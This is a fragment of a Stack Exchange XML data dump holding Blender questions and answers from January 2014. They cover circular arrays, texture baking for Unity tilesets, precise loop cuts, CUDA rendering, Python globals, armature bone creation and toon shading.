  <row Id="6024" PostTypeId="2" ParentId="6023" CreationDate="2014-01-06T02:46:10.753" Score="11" Body="&lt;p&gt;To do that, you would need the arrayed object's origin to be in the same location as your offset object's origin. Try this test:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a cube.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;In Edit mode&lt;/em&gt; move that cube to the left. The cube's origin should remain unchanged and in the same location.&lt;/li&gt;&#xA;&lt;li&gt;Return to Object mode and add an empty (hopefully you haven't moved your 3D Cursor, so the empty should have the same origin as your cube).&lt;/li&gt;&#xA;&lt;li&gt;Rotate the empty (say... 5 degrees)&lt;/li&gt;&#xA;&lt;li&gt;Add an Array modifier on the cube using the empty as your offset. You should see the circular array form around the empty.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="836" LastActivityDate="2014-01-06T02:46:10.753" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6025" PostTypeId="2" ParentId="6023" CreationDate="2014-01-06T02:52:29.970" Score="55" Body="&lt;p&gt;Add an empty at the origin of the object that you want to duplicate. &#xA;(Remember to hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; and select rotate and scale, to &lt;a href=&quot;https://blender.stackexchange.com/questions/7298/why-is-it-important-to-apply-transformation&quot;&gt;apply transormations&lt;/a&gt; on the original object).&#xA;Then, add an array modifier with object offset linked to this empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the 3D cursor to the desired centre of the circle. Add another empty here. Make it the parent of the other empty. Now select only the centre empty. Rotate.&#xA;The amount of rotation is of course dependent on the number of objects, e.g. 12 objects = 30°.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the single elements to &quot;touch&quot; as in your picture you need to either adjust the object width or the radius. The circumference of the circle is 2 * PI * radius, so the width has to be the n&lt;sup&gt;th&lt;/sup&gt; (e.g. 12) part of it. (Or, if it is not about absolute exactness, it can be done visually.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VQlmi.png&quot; alt=&quot;Screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You probably want to parent the object to the centre empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This circle is &quot;controllable&quot; as you can simply change the angle by rotating the centre empty.&lt;/p&gt;&#xA;" OwnerUserId="1946" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2016-02-26T15:09:24.160" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="6026" PostTypeId="2" ParentId="6022" CreationDate="2014-01-06T03:08:51.580" Score="3" Body="&lt;p&gt;If you're using blender internal you should be able to bake your textures to an image; note that you will be baking your textures from the material settings - not the uv image editor - to the active image in the uv image editor. in order to map a tiling texture to a full one, you'll probably need to uvmaps, one for the tiles and one for the large baked texture.&lt;/p&gt;&#xA;" OwnerUserId="390" LastActivityDate="2014-01-06T03:08:51.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6027" PostTypeId="2" ParentId="5959" CreationDate="2014-01-06T04:19:34.097" Score="2" Body="&lt;p&gt;To randomly de-select:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Invert the selection.&lt;/li&gt;&#xA;&lt;li&gt;Select random.&lt;/li&gt;&#xA;&lt;li&gt;Enable the extend option.&lt;/li&gt;&#xA;&lt;li&gt;Invert the selection.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: Recent builds (and the upcoming 2.70 release), now have the option to de-select randomly. (See &lt;a href=&quot;https://developer.blender.org/rB7ae1949517a41fbc46ca452f3fa40e7079273503&quot; rel=&quot;nofollow&quot;&gt;https://developer.blender.org/rB7ae1949517a41fbc46ca452f3fa40e7079273503&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-01-13T09:45:48.867" LastActivityDate="2014-01-13T09:45:48.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6028" PostTypeId="1" AcceptedAnswerId="6090" CreationDate="2014-01-04T18:15:18.493" Score="3" ViewCount="5285" Body="&lt;p&gt;I have some problems when adjusting loop cuts and when I extrude the vertices of loop cuts. When I do a loop cut I would like to place the cut at the position of an exact millimeter.&lt;/p&gt;&#xA;&lt;p&gt;I have in the scene menu  ticked the box &lt;em&gt;Units &amp;gt; Metric &amp;gt; Degrees&lt;/em&gt;&lt;br&gt;&#xA;I have ticked the box &lt;em&gt;Normals &amp;gt; Edge Info &amp;gt; Length&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;But I am facing those problems:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;When I view the whole mesh which I want to place a loop cut on, then I can not adjust the loop cut to the exact position (in millimeters) where I want the cut to be. So I have to zoom down and move the cut. Zoom in once more ant move the cut again.&lt;/p&gt;&#xA;&lt;p&gt;Is there a possibility to give exact numeric values to where I want the cut. Or can I move the cut to where I want without the need of zooming in?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When I extrude, the values is limited to my zoom-level, so I have to zoom in really deep, then, the numbers is not visible, because they are locked to horizontal axis which is not visible. So I have to guess if it is right, zoom out and check-then zoom in and adjust-and so on.&lt;/p&gt;&#xA;&lt;p&gt;Is there a possibility to give exact numeric values for the height of the extrude? Or can I extrude so much I want without the need of zooming in?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2079" OwnerDisplayName="Peter G Holm" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-01-08T20:45:45.137" Title="Blender Loop cuts and vertices measurement" Tags="&lt;modeling&gt;&lt;vertices&gt;&lt;units&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6029" PostTypeId="2" ParentId="5934" CreationDate="2014-01-06T08:06:10.887" Score="0" Body="&lt;p&gt;I agree with @Matt, especially if you are on a laptop. Whether you are on a laptop or a desktop PC, I would check the following settings in Blender. Also, when using GPU rendering in Cycles, make sure to check the settings in the Properties tab -&gt; Performance -&gt; Tiles. By default the two numbers under the &quot;Tiles&quot; settings usually are 64 x 64 (pixels). If you are able to get your Nvidia GT 520 video card to work, try bumping up those numbers to 200 x 80 and see if that helps. The other thing i recommend checking is the &quot;Sampling&quot; menu in the Properties panel. If the final render has a high sample number (i.e. - 800 or above), that can also cause render time to be slow. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/eI4G2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2057" LastActivityDate="2014-01-06T08:06:10.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6030" PostTypeId="2" ParentId="5934" CreationDate="2014-01-06T10:00:06.580" Score="0" Body="&lt;p&gt;CUDA level support is different between GPUs, see &lt;a href=&quot;https://developer.nvidia.com/cuda-gpus&quot; rel=&quot;nofollow&quot;&gt;this link&lt;/a&gt;. Higher CUDA compliance results in better speedup. As I remember, Blender needs at least CUDA 2.0 features, but higher level of CUDA compliance is better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Earlier Blenders did not even allow using CUDA below 2.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that your GPU is CUDA 2.1 compliant, check if your CUDA driver is the latest, too. My guess is that your driver shows a supported version &amp;lt; 2.0 to Blender 2.66a, and so Blender 2.66a did not show CUDA support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, others' comment about optimizations are also very valid.&lt;/p&gt;&#xA;" OwnerUserId="327" LastActivityDate="2014-01-06T10:00:06.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6031" PostTypeId="1" AcceptedAnswerId="6032" CreationDate="2014-01-06T11:11:18.693" Score="4" ViewCount="4963" Body="&lt;p&gt;I have a list declared like this -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;m_list = own.get(&quot;m_list&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the problem is I can't access this list from another object. How do I declare the list so that I can access it from another object. I have to check whether or not an element exists.&lt;/p&gt;&#xA;" OwnerUserId="2065" LastEditorUserId="55" LastEditDate="2014-01-07T03:03:44.033" LastActivityDate="2014-01-07T03:03:44.033" Title="Declare a global variable in a Blender session" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6032" PostTypeId="2" ParentId="6031" CreationDate="2014-01-06T12:24:41.703" Score="5" Body="&lt;p&gt;If you want data to be global in Python, (within a Blender session).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically its best to create a module with a unique name specific to your project, import it - and access variables in that module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every script which imports the module will be viewing the same data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this exact case it sounds like you should add the object it self to a module.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import my_module&#xA;my_module.my_obj = obj&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Some other script&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import my_module&#xA;obj = my_module.my_obj&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-06T12:24:41.703" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6033" PostTypeId="2" ParentId="6022" CreationDate="2014-01-06T12:28:44.470" Score="8" Body="&lt;p&gt;So you are trying to make a tileset in unity3D, using blender?&#xA;I did just that. Mine is simple, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g6XsR.png&quot; alt=&quot;tileset in unity3d&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice how the larger tile (to L-turn) is much larger than the others. Still, it is only one square texture for each of them. The trick is to UV-map it correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the UV-map for the L-turn. It wraps the texture twice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S7U9j.png&quot; alt=&quot;l-turn in blender&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the UV-map for a simple tile. It wraps the texture once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wFVw6.png&quot; alt=&quot;wall in blender&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for a long floor tile, you have two options. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Make a square floor tile with simple UV-map in blender and repeat it several times in unity (preferred).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make a long tile with &quot;long&quot; uv-map in blender and use it once in unity.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;No baking!&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you bake a tiling texture to a polygon UV-mapped as yours you are ruining your texture resolution. If your texture (512px) tiles four times it has an effective resolution of 2048px (4x512). If you bake that to 512 you have reduced your texture resolution 4 times. You could bake it to 2048 and keep the resolution but you would end up with very large textures. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might also be so that unity downsamples your texture when building the game and you loos quality again. It is a matter of settings, target device and quality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, I advice against baking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason that it works inside blender is that blender can use texture of odd resolutions and multiple textures per face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might be able to make a shader that combines two textures with different tiling in unity. But then how would you position it?&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="395" LastEditDate="2014-01-06T14:26:00.770" LastActivityDate="2014-01-06T14:26:00.770" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6034" PostTypeId="1" AcceptedAnswerId="6035" CreationDate="2014-01-06T12:37:09.930" Score="1" ViewCount="4136" Body="&lt;p&gt;I have a cylinder inside another cylinder and i want to remove the surface of the small cylinder in the large cylinder so i get a large cylinder with a hole in it. How can I merge the vertices of the small cylinder to the faces of the large cylinder so I can remove the faces of the small cylinder?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Allready thanks and cheers!&lt;/p&gt;&#xA;" OwnerUserId="1965" LastEditorUserId="395" LastEditDate="2014-01-06T12:40:13.110" LastActivityDate="2014-01-06T13:06:22.160" Title="Merge vertex to face" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6035" PostTypeId="2" ParentId="6034" CreationDate="2014-01-06T13:06:22.160" Score="2" Body="&lt;p&gt;I'm not entirely sure I understand how you cylinders are aligned towards each other, but it doesn't matter to much. I'm going to use the &quot;bridge two edgeloops&quot; operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my starting position:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fJpuE.png&quot; alt=&quot;cylinders in wireframe mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I edit both of them and remove the end caps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1TrKD.png&quot; alt=&quot;cylinders without end caps&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I select them both and join them &lt;kbd&gt;Ctrl + J&lt;/kbd&gt;. Now I again go into edit mode and select both edgeloops at the end of the cylinders. Hold down &lt;kbd&gt;Alt&lt;/kbd&gt; to select and edge loop. Hold down &lt;kbd&gt;Shift + Alt&lt;/kbd&gt; to select the other without deselecting the first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then hit &lt;kbd&gt;space&lt;/kbd&gt; and type &quot;bri&quot; in the menu. It should look like this. Hit &lt;kbd&gt;Enter&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BiQ1R.png&quot; alt=&quot;edge loops and bridge command&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the two edge loops should be bridged with faces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Ripc.png&quot; alt=&quot;bridged edges&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2014-01-06T13:06:22.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6036" PostTypeId="2" ParentId="6028" CreationDate="2014-01-06T14:37:58.187" Score="1" Body="&lt;p&gt;Blender doesn't offer exact dimension modelling tools that you may expect in a CAD program. There are some things that may help, start with &lt;a href=&quot;https://blender.stackexchange.com/questions/4890/how-to-set-a-specific-edge-length-numerically/4893&quot;&gt;this&lt;/a&gt; previous question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most tools allow you to type in numeric values while they are being applied, what that value represents may vary between tools. When using the loop cut tool you can enter a value between 1.0 and -1.0 that represents a percentage of movement towards the next vertex on either side with 0.0 being centred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extruding allows you to enter a length that is a distance from the original location. You can also cancel the extrude to leave the new vertices in the same location as the original vertices, then move the vertices (&lt;kbd&gt;G&lt;/kbd&gt;) which allows you to enter x,y,z values as distance moved in each direction. The first number you enter is used for x then you can use tab to move to the y and z values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt; and &lt;kbd&gt;Shift&lt;/kbd&gt; can also help - while you are moving vertices pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt; is a shortcut to enable snapping which by default will snap values to whole units (grid increment snapping type). Pressing &lt;kbd&gt;Shift&lt;/kbd&gt; will slow down the movement to allow more precise placement. Pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt; and &lt;kbd&gt;Shift&lt;/kbd&gt; will snap to 0.1 increments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With loop cut &lt;kbd&gt;Ctrl&lt;/kbd&gt; will snap to 0.1 increments, &lt;kbd&gt;Shift&lt;/kbd&gt; will slow down movement and together will snap to 0.01 increments.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-01-06T14:37:58.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6037" PostTypeId="1" CreationDate="2014-01-06T16:10:05.697" Score="4" ViewCount="5830" Body="&lt;p&gt;I wanted to use the Ruler/Protractor tool to measure some length for an environment scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to change the snapping values of the Ruler/Protractor tool?&#xA;or is there a way to easily snap one side of teh ruler to a selected vertice?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when I try to use the Ctrl+Drag, the snapping wanders of the vertice which I want it to snap to, which is really frustrating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT;&#xA;using the tool while in edit mode, this is often the result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/20FVJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1436" LastEditorUserId="1436" LastEditDate="2014-01-06T16:38:28.657" LastActivityDate="2018-03-10T06:51:56.753" Title="Ruler/Protractor tool - change snapping values for easier snapping to vertices?" Tags="&lt;modeling&gt;&lt;measurement&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6038" PostTypeId="2" ParentId="5991" CreationDate="2014-01-06T16:13:48.840" Score="2" Body="&lt;p&gt;As The basicTroublemaker answered, just use 'ReplaceMesh' in stead of 'Add Object'. This way only the visual apearence will change and nothing else.&lt;/p&gt;&#xA;" OwnerUserId="2065" LastActivityDate="2014-01-06T16:13:48.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6040" PostTypeId="1" AcceptedAnswerId="6046" CreationDate="2014-01-06T17:19:08.980" Score="3" ViewCount="913" Body="&lt;p&gt;I'm writing an importer for a file format with skeletal data, so I'd like to generate an armature with bones to represent it. I can put the object into edit mode and create EditBones without any trouble, but the bones then vanish as soon as I exit edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell, exiting Edit mode is supposed to convert EditBones to actual Bones, but that's not happening. Instead, when I exit Edit mode, the armature is reset back to the state it was in before I entered Edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a test case that can be run line-by-line in Blender's Python console.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Create a new armature, make it active, and put it into edit mode.&#xA;bpy.ops.object.armature_add( enter_editmode=True )&#xA;&#xA;# Add a new bone named &quot;test&quot;&#xA;C.object.data.edit_bones.new( &quot;test&quot; )&#xA;&#xA;# At this point, you can see the armature object with two bones (&quot;Bone&quot; and &quot;test&quot;) in the Outliner&#xA;&#xA;# Exit Edit mode by switching back to Object mode.&#xA;bpy.ops.object.mode_set( mode='OBJECT' )&#xA;&#xA;# Result: the &quot;test&quot; bone vanishes without a trace.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried a bunch of variations, all with the same end result. It feels like I'm missing a step; perhaps something to explicitly apply the edits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Blender 2.68a and Blender 2.69.&lt;/p&gt;&#xA;" OwnerUserId="2067" LastActivityDate="2014-01-06T20:19:08.907" Title="Armature bones created in python disappear after exiting edit mode" Tags="&lt;python&gt;&lt;armature&gt;&lt;import&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6042" PostTypeId="2" ParentId="6019" CreationDate="2014-01-06T18:12:22.577" Score="2" Body="&lt;p&gt;One mesh in blender can have multiple materials, so you can join your input meshes into one for blender. Simply assign a separate material for each input mesh.&lt;/p&gt;&#xA;" OwnerUserId="264" LastActivityDate="2014-01-06T18:12:22.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6043" PostTypeId="2" ParentId="6019" CreationDate="2014-01-06T19:20:50.917" Score="1" Body="&lt;p&gt;Using one object for each mesh will simplify things for you, I think. Although it is possible to have everything in one object and still use different materials, and use different UV maps, this will probably be more trouble than it's worth, especially if you're interested in using Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: It is possible to put &quot;more than one&quot; mesh in an object in Blender, but it's still treated as one mesh, they just aren't necessarily attached to each other. The &quot;Separate &gt; By loose parts&quot; tool that CoDEmanX suggests takes each contiguous set of vertices and puts them each in their own object. It's convenient if you already have several things in one object that you want to be separate.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-01-06T19:20:50.917" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6044" PostTypeId="1" AcceptedAnswerId="6045" CreationDate="2014-01-06T19:45:07.530" Score="6" ViewCount="651" Body="&lt;p&gt;It seems that it is possible to add new panels and regions but not new window types (editors) using the Python API. &#xA;Is this true? And if so, is it possible that this could be added in the future?&lt;/p&gt;&#xA;" OwnerUserId="2075" LastActivityDate="2014-01-08T09:59:30.450" Title="Is it possible to add a new window type using the Python API?" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6045" PostTypeId="2" ParentId="6044" CreationDate="2014-01-06T20:08:55.673" Score="6" Body="&lt;p&gt;Currently it's not possible, though it's been discussed a few times. Having custom PySpaces would be convenient, but I don't think it's officially on any roadmap.&lt;/p&gt;&#xA;" OwnerUserId="836" LastActivityDate="2014-01-06T20:08:55.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6046" PostTypeId="2" ParentId="6040" CreationDate="2014-01-06T20:19:08.907" Score="2" Body="&lt;p&gt;At the point of creation, the new bone's &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_8/bpy.types.EditBone.html#bpy.types.EditBone.head&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;head&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_8/bpy.types.EditBone.html#bpy.types.EditBone.tail&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;tail&lt;/code&gt;&lt;/a&gt; is both &lt;code&gt;(0, 0, 0)&lt;/code&gt;, which gives zero (invalid) length. You only need to modify at least one of them, giving a valid length, to keep the new bone outside of Edit mode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bone = C.object.data.edit_bones.new(&quot;test&quot;)&#xA;&amp;gt;&amp;gt;&amp;gt; bone.head = (0, 1, 0)&#xA;&amp;gt;&amp;gt;&amp;gt; bone.tail = (1, 1, 0)&#xA;&amp;gt;&amp;gt;&amp;gt; bpy.ops.object.mode_set(mode='OBJECT')&#xA;# The new bone won't disappear after exiting edit mode.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="185" LastActivityDate="2014-01-06T20:19:08.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6047" PostTypeId="1" AcceptedAnswerId="6050" CreationDate="2014-01-06T20:45:59.917" Score="2" ViewCount="3434" Body="&lt;p&gt;Is Cycles toon shader more accurate than Blender internal toon shader? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I,m currently working on a Webcomic and would like to have my characters as 3D characters in a 2 tone cell shading style. This is to save time as I'm a one man outfit at the moment. I would like my renders to be of high quality so i am not sure whether to use Cycles or Blender internal toon shading. Can someone please explain which one will give me better results?&lt;/p&gt;&#xA;" OwnerUserId="614" LastActivityDate="2014-01-06T21:07:41.770" Title="Cycles toonshader vs Blender Internal shaders" Tags="&lt;cycles-render-engine&gt;&lt;blender-internal-render-engine&gt;&lt;shaders&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6049" PostTypeId="2" ParentId="6047" CreationDate="2014-01-06T20:53:55.557" Score="0" Body="&lt;p&gt;While it's possible to use Cycles to create a toon-shaded look, since your stated goal is saving time, it would probably not be helpful. Cycles just isn't well suited to the task. A tool that is better suited to the task is Freestyle (&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Freestyle&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Freestyle&lt;/a&gt;), which is only available for the Blender Internal renderer, ATM. Freestyle is specifically designed for creating a cell-shaded look, unlike Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-01-06T20:53:55.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6050" PostTypeId="2" ParentId="6047" CreationDate="2014-01-06T21:07:41.770" Score="3" Body="&lt;p&gt;At this point, it's really most dependent on which material system you're more comfortable with. With Cycles' node system and OSL, you can achieve just about any look you'd like... and render times are reasonable if you set you reduce bounces to zero and use direct lighting techniques (i.e. do lighting as if you were rendering in Blender Internal). That said, it's often faster to set up toon materials in Blender Internal if you're already familiar with the system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, if you want Blender to generate your linework for you, Blender's Freestyle system is currently only supported with Blender Internal. However, if you want to use Cycles shaders with Freestyle, it's not that difficult (use a duplicate scene with linked data, render using BI and Freestyle, and composite the results with your Cycles scene).&lt;/p&gt;&#xA;" OwnerUserId="836" LastActivityDate="2014-01-06T21:07:41.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6051" PostTypeId="1" CreationDate="2014-01-06T21:32:58.310" Score="6" ViewCount="239" Body="&lt;p&gt;How can I check which preset a user has chosen via Python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I would like to check whether a user is utilizing the default Interaction preset or the Maya preset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible in Python? Or can I only check against specific values (such as &lt;code&gt;select_mouse&lt;/code&gt;)?&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="599" LastEditDate="2014-01-08T23:25:40.967" LastActivityDate="2014-01-08T23:25:40.967" Title="How can I check the chosen preset in Python?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6052" PostTypeId="2" ParentId="6051" CreationDate="2014-01-06T21:53:55.247" Score="6" Body="&lt;p&gt;That's not possible in Blender's current preset system implementation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plain preset execution operator, &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_8/bpy.ops.script.html#bpy.ops.script.execute_preset&quot;&gt;&lt;code&gt;script.execute_preset&lt;/code&gt;&lt;/a&gt;, merely executes the script file corresponding to selected preset and changes the menu title temporarily. It doesn't store nor provide access to preset selection info. I needed this feature once, and had to subclass the operator myself to get it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, you can only check specific values modified by the preset's script file.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2014-01-06T21:53:55.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6054" PostTypeId="1" CreationDate="2014-01-06T23:59:47.140" Score="5" ViewCount="1739" Body="&lt;p&gt;This is a very basic question. I'm using tutorials to learn how to use physics in Blender. I made a cube and lifted it above a plane and clicked Alt-A to run the animation and let the cube fall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I exit the animation so that the cube reapers back in its position in the air? (right now it's on the plane where it fell. &lt;/p&gt;&#xA;" OwnerUserId="2080" LastEditorUserId="12" LastEditDate="2014-01-07T00:47:28.187" LastActivityDate="2015-11-18T04:53:22.297" Title="How to exit animation mode when using physics" Tags="&lt;animation&gt;&lt;3d-view&gt;&lt;physics&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
